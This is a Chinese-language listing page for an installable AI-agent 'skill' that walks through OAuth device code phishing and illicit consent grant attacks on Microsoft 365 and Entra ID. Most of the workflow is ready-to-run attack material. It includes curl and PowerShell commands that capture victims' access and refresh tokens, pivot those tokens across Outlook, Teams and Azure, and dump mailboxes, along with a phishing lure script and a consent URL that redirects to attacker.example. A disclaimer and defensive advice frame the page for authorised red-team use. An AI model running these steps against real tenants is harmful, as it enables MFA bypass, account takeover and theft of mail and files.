mcpField
A
attacking-oauth-with-device-code-phishing

attacking-oauth-with-device-code-phishing

github.com/mukul975安全35.2k155 次安装8 周前更新
代码仓库

关于 attacking-oauth-with-device-code-phishing

面向获授权红队的安全测试技能,用于评估 Microsoft 365 和 Entra ID 中的 OAuth 设备代码钓鱼与非法同意授权。内容涵盖令牌验证、影响评估和整改建议。

主要功能

  1. 01评估设备代码流程
  2. 02测试非法同意授权
  3. 03跨服务刷新令牌
  4. 04使用 ROADtools 枚举影响
  5. 05验证 MFA 与访问策略

适用场景

  1. 01测试设备代码限制
  2. 02评估 MFA 与 Conditional Access
  3. 03演示 OAuth 令牌暴露风险
  4. 04记录发现并提出整改建议

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill attacking-oauth-with-device-code-phishing

安装后在 Claude Code 中输入/attacking-oauth-with-device-code-phishing确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

使用设备代码钓鱼攻击 OAuth

法律声明: 本技能仅用于授权安全测试、红队演练和教育目的。设备代码钓鱼和同意授权钓鱼会操纵真实用户,使其授权攻击者控制的企业身份访问权限。仅可针对您拥有或已获得明确书面授权(交战规则)进行测试的租户执行。未经授权的使用违反《计算机欺诈与滥用法》以及全球范围内的同等法律。

概述

OAuth 2.0 设备授权授予(RFC 8628)专为输入受限设备(智能电视、命令行工具)设计,这些设备无法轻松呈现基于浏览器的登录界面。设备请求一个短的 user_code 和一个 device_code,向用户显示 user_code 和验证 URL,并在用户于另一台功能完整的设备上进行身份验证时轮询令牌端点。攻击者将这一流程武器化:这里的“设备”不是智能电视,而是攻击者的机器。攻击者发起设备代码请求,然后诱骗受害者访问合法的 Microsoft 验证页面(https://microsoft.com/devicelogin)并输入攻击者生成的 user_code。由于受害者在真实的 Microsoft 登录页面上完成身份验证——包括完成 MFA——生成的令牌会被铸造到攻击者的轮询会话中。这完全绕过了 MFA:第二因素由受害者满足,但持有者令牌落入攻击者手中(对应 MITRE ATT&CK T1528 – Steal Application Access Token)。

Microsoft Threat Intelligence、Volexity 和 Proofpoint 记录了 2025 年设备代码钓鱼的急剧增长,其中与俄罗斯结盟的行为者(被 Microsoft 追踪为 Storm-2372)是最高产者之一。Mandiant 的 M-Trends 报告同样强调 OAuth 令牌窃取是领先的云初始访问途径。一个密切相关的技术是非法同意授予(“OAuth 钓鱼”):攻击者注册一个多租户应用,诱骗受害者点击 /adminconsent 或用户同意 URL,从而向恶意应用授予委派的 Microsoft Graph 权限(Mail.Read、Files.ReadWrite.All、offline_access),这些权限独立于密码重置而持续存在。本技能涵盖两者,以及使用 TokenTactics 跨 Microsoft 365 服务的令牌重放,和使用 ROADtools 进行验证/访问映射。

红队利用的决定性特性:通过设备代码流程铸造的访问令牌有效期约为 60–90 分钟,但随附的刷新令牌(具有 offline_access 范围)可存活长达 90 天,并可用于针对客户端被允许请求的任何第一方资源——Outlook、SharePoint、Teams、Azure Resource Manager——兑换新令牌,从而实现持久的、能存活的 MFA 访问。

何时使用

  • 在针对 Microsoft 365 / Entra ID 的授权红队或假定泄露演练中,且社会工程在范围内时
  • 在针对真实钓鱼技术验证条件访问策略、MFA 强制和令牌保护控制时
  • 在测试组织是否限制 OAuth 设备代码流程或阻止未验证的多租户应用同意时
  • 在展示 MFA 绕过风险以证明抗钓鱼身份验证(FIDO2)和令牌绑定控制的合理性时
  • 在构建检测(与蓝队 hunting-saas-sso-token-abuse 技能配合)并且您需要真实遥测数据时

先决条件

  • 明确允许针对目标租户进行钓鱼和令牌窃取的书面授权 / 交战规则
  • 受控的借口投递渠道(经批准的钓鱼基础设施或内部测试邮箱)
  • 具有 Python 3.8+ 和 PowerShell 7+ 的 Linux 或 Windows 攻击者主机
  • 已安装 TokenTactics(PowerShell)和 ROADtools(Python):
    # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
    pip install roadtools roadtools_auth
    # roadtx (ROADtools Token eXchange) ships in roadtools_auth
    roadtx --help
    
    # TokenTactics v2 (rvrsh3ll)
    git clone https://github.com/rvrsh3ll/TokenTactics.git
    pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"
    
  • 熟悉 OAuth 2.0 授予类型、JWT 结构和 Microsoft Graph 范围

目标

  • 使用第一方客户端 ID 向 Entra ID 发起 OAuth 设备代码请求
  • 提供可信的诱饵,诱导受害者访问真正的 Microsoft 设备登录页面
  • 轮询令牌终结点并捕获受害者的访问令牌和刷新令牌
  • 跨 Microsoft 365 资源(Graph、Outlook、Azure 管理)刷新令牌以扩大访问范围
  • 通过注册恶意多租户应用并对其发起同意钓鱼来执行非法同意变体
  • 使用 ROADtools 枚举可访问的资源和数据以证明影响
  • 记录 MFA 绕过情况并生成修复建议

MITRE ATT&CK 映射

ID技术在本技能中的应用
T1528Steal Application Access Token对设备代码流 / 同意授权进行钓鱼会获得攻击者控制的 OAuth 访问令牌和刷新令牌,这些令牌会被重复使用以访问云服务而无需重新认证

经常串联的相关技术:T1566 Phishing(投递)、T1550.001 Application Access Token(重放窃取的令牌)、T1098.003 Account Manipulation: Additional Cloud Roles(同意授权持久化)。

工作流

阶段 1:发起设备代码请求

攻击者向 Entra ID 请求设备代码,选择受害者默认信任的第一方客户端。Microsoft Office 客户端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c 常被使用,因为它已被预先授权可访问广泛的第一方资源。

  1. 直接通过令牌终结点请求设备代码:

    # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token
    curl -s -X POST \
      'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
      -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
      -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json
    
  2. JSON 响应包含你可加以利用的字段:

    {
      "user_code": "B7HVQXKZ2",
      "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
      "verification_uri": "https://microsoft.com/devicelogin",
      "expires_in": 900,
      "interval": 5,
      "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
    }
    
  3. 注意 15 分钟(expires_in: 900)的有效期窗口——诱饵必须促使受害者迅速完成认证。

    使用 TokenTactics 的等效方式(自动处理轮询):

    Import-Module ./TokenTactics/TokenTactics.psd1
    # Generates a device code and begins polling; prints the user_code to phish
    Get-AzureToken -Client MSGraph
    
阶段 2:投递诱饵

钓鱼消息绝不能包含凭据窃取链接——受害者在真正的 Microsoft 页面上进行认证,这正是击破用户怀疑和 MFA 的关键。

  1. 精心设计一个引用真实 https://microsoft.com/devicelogin URL 和 user_code 的诱饵(例如,“IT 正在将你的账户注册到新的 Teams Rooms 设备中;请在 15 分钟内打开 microsoft.com/devicelogin 并输入代码 B7HVQXKZ2”)。
  2. 通过受认可的钓鱼基础设施发送。带超链接的代码 / URL 经常会被归入垃圾邮件,因此请将 URL 和代码以纯文本形式呈现。
  3. 将投递时间安排在轮询周期开始时,以确保代码是新鲜的。
阶段 3:轮询并捕获令牌

在受害者进行认证并批准的同时,使用 device_code 轮询令牌终结点,直到令牌被签发。

  1. 按服务器指定的 interval(5 秒)轮询;在受害者完成登录之前,预期会返回 authorization_pending:
    DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
    while true; do
      RESP=$(curl -s -X POST \
        'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
        -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
        -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
        -d "device_code=${DEVICE_CODE}")
      echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
      echo "$RESP" | grep -q authorization_pending || echo "$RESP"
      sleep 5
    done
    
  2. 成功时,响应会返回 access_token、refresh_token、id_token、expires_in 以及授予的 scope。
  3. 解码访问令牌以确认捕获的身份、受众和范围:
    python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
    
阶段 4:跨 Microsoft 365 资源刷新

刷新令牌(带有 offline_access)可被兑换为面向其他第一方资源的令牌,从而将访问范围扩展到原始范围之外。

  1. 使用 TokenTactics 的刷新函数将刷新令牌转向特定服务:
    # $response holds the device-code result from Get-AzureToken
    $rt = $response.refresh_token
    Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access
    Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph
    Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams
    Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
    Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt
    
  2. 使用 roadtx 等效地将刷新令牌兑换为新资源:
    roadtx refreshtokento \
      -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
      -c d3590ed6-52b3-4102-aeff-aad2292ab01c \
      -s https://graph.microsoft.com/.default
    
  3. 演示邮箱访问以证明影响(只读,范围限于约定规则):
    Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
    
阶段 5:非法授权同意变体

不使用设备代码,而是注册一个恶意的多租户应用,并钓鱼诱使受害者同意授予委托的 Graph 权限,以获得持久、能在密码重置后存活的访问权限。

  1. 在攻击者租户中注册一个多租户应用,请求委托作用域,例如 Mail.Read、Files.ReadWrite.All、offline_access。
  2. 构建用户同意 URL 并对其进行钓鱼:
    https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
      client_id=<ATTACKER_APP_ID>
      &response_type=code
      &redirect_uri=https://attacker.example/callback
      &response_mode=query
      &scope=offline_access%20Mail.Read%20Files.ReadWrite.All
      &state=12345
    
  3. 当受害者同意后,用返回的 code 换取令牌:
    curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
      -d 'client_id=<ATTACKER_APP_ID>' \
      -d 'grant_type=authorization_code' \
      -d 'code=<AUTH_CODE>' \
      -d 'redirect_uri=https://attacker.example/callback' \
      -d 'client_secret=<APP_SECRET>' \
      -d 'scope=offline_access Mail.Read Files.ReadWrite.All'
    
  4. 已同意的 OAuth 授权会作为服务主体授权保留在受害者租户中,直到管理员撤销它(Remove-MgServicePrincipalOauth2PermissionGrant)。
阶段 6:使用 ROADtools 枚举影响
  1. 使用捕获的令牌 / 刷新令牌对 roadrecon 进行认证,并导出目录:
    roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
      -c d3590ed6-52b3-4102-aeff-aad2292ab01c
    roadrecon gather
    roadrecon gui   # browse users, groups, app registrations, role assignments
    
  2. 识别高价值访问:角色分配、拥有的应用程序、可访问的 SharePoint 站点以及额外的同意授权。
  3. 准确记录被窃取的令牌访问了哪些数据和角色,以供项目报告使用。

工具和资源

工具用途来源
TokenTactics v2跨 M365 服务生成设备代码和刷新令牌https://github.com/rvrsh3ll/TokenTactics
ROADtools (roadrecon / roadtx)令牌交换、目录枚举、访问映射https://github.com/dirkjanm/ROADtools
AADInternalsEntra ID 攻击/侦察 PowerShell 工具包https://github.com/Gerenios/AADInternals
RFC 8628OAuth 2.0 设备授权授予规范https://datatracker.ietf.org/doc/html/rfc8628
Microsoft / Storm-2372 公告设备代码钓鱼活动分析https://www.microsoft.com/en-us/security/blog/
Mandiant M-TrendsOAuth 令牌窃取趋势报告https://cloud.google.com/security/resources/m-trends

防御建议

控制措施效果
对不需要设备代码流的用户,使用条件访问策略阻止设备代码流(authenticationFlows)为大多数用户消除攻击面
抗钓鱼 MFA(FIDO2 / 通行密钥)+ 令牌保护(令牌绑定)绑定令牌无法在受害者设备之外被重放
将用户同意限制为已验证发布者 / 要求管理员同意阻止非法授权同意授予
在不受信任的网络上设置登录频率 + 缩短会话生命周期限制刷新令牌的有效期
监控 AADNonInteractiveUserSignInLogs 中的设备代码授予和异常令牌使用检测(参见 hunting-saas-sso-token-abuse)

验证标准

  • 设备代码请求返回了有效的 user_code 和 device_code
  • 投递的诱饵引用了真实的 Microsoft 设备登录页面(无采集链接)
  • 轮询了令牌端点并捕获了 access_token + refresh_token
  • 解码访问令牌以确认捕获的身份、受众和作用域
  • 刷新令牌成功换取至少一个额外的 M365 资源
  • 演示了 MFA 绕过(受害者完成了 MFA;攻击者持有可用令牌)
  • 测试了非法授权同意变体,或将其记录为范围之外
  • 使用 ROADtools 枚举了可访问资源并记录
  • 交付了修复建议(CA 设备代码阻止、FIDO2、同意限制)

评论

支持 Markdown